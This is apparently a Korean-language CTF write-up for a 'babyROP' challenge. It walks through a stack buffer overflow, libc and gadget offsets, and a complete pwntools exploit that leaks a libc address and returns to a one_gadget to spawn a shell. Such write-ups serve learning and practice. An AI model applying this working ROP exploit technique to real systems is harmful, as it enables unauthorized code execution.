728x90
checksec
64bit binary
NXbit 걸려있음
ASLR
IDA로 pseudo code 확인
buf의 크기는 40인데 read함수를 통해 0x300만큼 입력받게 함 >> OVERFLOW 취약성 발생!
buf에 입력을 하고(What is your name?) Hello, 뒤에 buf에 입력한 내용이 출력된다.
Debugging
rsp에 저장된 값(0x7fffffffde18)이 가리키는 값 : 0x7ffff7a2d830(=return address)
rsi에 저장된 값: 0x7fffffffddd0 (=buf의 시작주소)
buf에 72byte 채워주면 return address를 덮어 쓸 수 있을 것
libc에서 "/bin/sh"문자열 찾기
libc = 0x7ffff7a0d000
"/bin/sh" - libc offset = 0x18cd57
offset 구하기
system - libcbase offset = 0x45390
read - libcbase offset = 0xf7250
gadget 찾기
pop rdx ; pop rsi ; ret ; 주소 = 0x001150c9
pop rdi ; 주소 = 0x4006c3
pop rsi ; 주소 = 0x4006c1
onegadget
libc - gadget offset = 0x45216
Exploit
from pwn import *
from struct import *
elf = ELF('./babyROP')
libc = elf.libc
p=process('./babyROP')
#context.log_level = 'debug'
read_plt = elf.plt['read']
read_got = elf.got['read']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
sys_offset = 0x45390
read_offset = 0xf7250
binsh_offset = 0x18cd57
pop_rdi = 0x4006c3
onegadget = 0x45216
main_add = elf.symbols['main']
pl = "A"*72
pl += p64(pop_rdi)
pl += p64(read_got)
pl += p64(puts_plt)
pl += p64(main_add) #return address /start again
p.recvuntil("?")
p.send(pl)
read_add = u64(p.recvuntil("\x7f")[-6:].ljust(8, '\x00'))
libcbase = read_add - read_offset
onegadget += libcbase
pl = "A"*72
pl += p64(onegadget)
p.recvuntil("?")
p.send(pl)
p.interactive()
처음 payload를 전달할 때는 return address를 main함수 시작주소로 해서 leak을 수행한 후에 다시 main함수를 시작할 수 있도록 한다.
SMALL